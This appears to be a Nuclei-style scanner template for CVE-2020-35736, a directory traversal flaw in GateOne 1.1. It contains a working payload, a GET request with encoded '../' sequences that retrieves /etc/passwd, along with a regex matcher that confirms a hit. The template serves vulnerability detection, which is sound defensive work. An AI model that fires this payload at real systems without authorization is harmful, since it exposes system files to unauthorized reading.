id: CVE-2020-35736

info:
  name: GateOne 1.1 - Arbitrary File Retrieval
  author: pikpikcu
  severity: high
  description: GateOne 1.1 allows arbitrary file retrieval without authentication via /downloads/.. directory traversal because os.path.join is incorrectly used.
  reference:
    - https://github.com/liftoff/GateOne/issues/747
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35736
    - https://rmb122.com/2019/08/28/Ogeek-Easy-Realworld-Challenge-1-2-Writeup/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-35736
    cwe-id: CWE-22
  tags: cve,cve2020,gateone,lfi

requests:
  - method: GET
    path:
      - '{{BaseURL}}/downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200